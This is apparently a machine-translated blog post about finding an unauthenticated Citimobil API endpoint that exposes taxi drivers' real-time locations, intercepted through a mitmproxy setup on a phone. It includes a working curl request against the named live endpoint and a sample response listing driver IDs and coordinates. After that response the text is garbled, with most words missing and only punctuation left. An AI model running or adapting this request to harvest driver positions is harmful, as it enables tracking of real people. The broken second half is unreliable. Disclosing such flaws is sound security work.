在星期六晚上,我一如既往地坐着,嗅着手机的流量。 突然,打开Citimobil应用程序,我看到一个有趣的请求正在执行而没有任何身份验证。
要求提供有关最近汽车的信息。 通过使用不同的参数多次满足了此请求,我意识到您几乎可以实时卸载有关出租车司机的数据。 试想一下,您现在可以学到多少有趣的东西!

这一切是如何开始的?
是的,我确实坐在那里看着电话的流量。 事实是我是一名工程师,并且我不断研究技术和周围各种事物的工作方式。 就是这个时候。
我使用了中间攻击程序中的一个人
mitmproxy (中间代理人)。 有许多安装和配置说明,一般原则是:
- 通过手机和计算机连接到家庭WiFi
- 在计算机上运行mitmproxy
- 在电话上,您将计算机的本地地址注册为主要代理(您已经可以在http内部查看)
- 下载并确认手机上的证书(允许您查看https内部)
现在,大致来说,所有来自电话的流量都首先流向计算机,然后解密,显示在屏幕上,进行加密并继续运行。 反之亦然。
通过这种方式,我学习了如何制作不同的应用程序,有时我发现了非常有趣的东西。 例如,这一次,我看到Citimobil应用程序发出的请求,要求提供有关最近的驾驶员的信息,而无需身份验证。
错误赏金Mail.ru
我把所有信息都放在了hackerone上,并发送给审查。 在
经历了与Yandex Bug赏金
互动的
经历之后,我没有指望很快做出回应,但是3分钟后有人“ 3apa3a”关闭了我的报告。 速度很快,Mail.ru!
作为回应,他们写道,数据是在应用程序中显示给用户的,这意味着它们并不敏感,因此无需保护它们。

那好 由于这是公共数据,所以让我们玩得开心!
如何获取数据?
通过将POST请求发送到以下地址,可以获得有关地理位置最接近的10个驱动程序的信息:
https://c-api.city-mobil.ru/getdrivers
- :
{
"latitude": LAT,
"longitude": LON,
"limit": 10,
"method": "getdrivers",
"radius": 5,
"tariff_group": [ 4, 5, 6 ],
"ver": "4.33.0"
}
tariff_group — . , , , ..
radius limit , , .
, :
curl -X POST --data '{ "latitude": 55.7, "limit": 10, "longitude": 37.6, "method": "getdrivers", "radius": 5, "tariff_group": [4], "ver": "4.33.0" }' https://c-api.city-mobil.ru/getdrivers
JSON 10 (LAT, LON) :
{
"drivers":[
{
"id":"1c1f6779f893af6fe5bf4509af7366cd",
"lt":"55.7025061",
"ln":"37.5954334",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort_plus"
},
{
"id":"1a13d0daad9b6a3fa2b3d04a5b6f8c2a",
"lt":"55.7019682",
"ln":"37.6054896",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort"
},
{
"id":"c7c1634fae41a68924083af1d496d0a7",
"lt":"55.7014223",
"ln":"37.6067352",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort_plus"
},
{
"id":"f15ce054ccdaa268b16a0904b9eecdae",
"lt":"55.6956527",
"ln":"37.5972063",
"direction":"4",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"94ebc0fcc644bb1da4b57e7d23942e6d",
"lt":"55.694786",
"ln":"37.5982642",
"direction":"4",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"7251c45ee945c9cb839d69d5902b9f17",
"lt":"55.7009351",
"ln":"37.6094206",
"direction":"3",
"CarColorCode":"000000",
"car_type":"comfort"
},
{
"id":"cb9dab2ba7379c3db817dd76ec68e6c5",
"lt":"55.6950137",
"ln":"37.6041883",
"direction":"8",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"761891d9c1129b1678c3eba616249e2b",
"lt":"55.6944542",
"ln":"37.5951122",
"direction":"2",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"4f0e835751cadaa5d5386f0e1374f315",
"lt":"55.7066516",
"ln":"37.6011767",
"direction":"7",
"CarColorCode":"000000",
"car_type":"sedan"
},
{
"id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
"lt":"55.7066801",
"ln":"37.6009127",
"direction":"8",
"CarColorCode":"000000",
"car_type":"comfort"
}
],
"nearest":{
"duration":420
},
"service_status":1
}
,
{
"id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
"lt":"55.7066801",
"ln":"37.6009127",
"direction":"8",
"CarColorCode":"000000",
"car_type":"comfort"
}
, , , (-), . !
!
, 10 , N , N .
. , , , . , — mail.ru ip.
«», . .
, ?
11
4374? .

. ?
- .
, . .
?
, .
-, «».
-, (, .) . , . , , .
-, , . . ,
, «», , ., .
Mail.ru , , ., . .
Mail.ru , , bug bounty.
?
, ! , .
!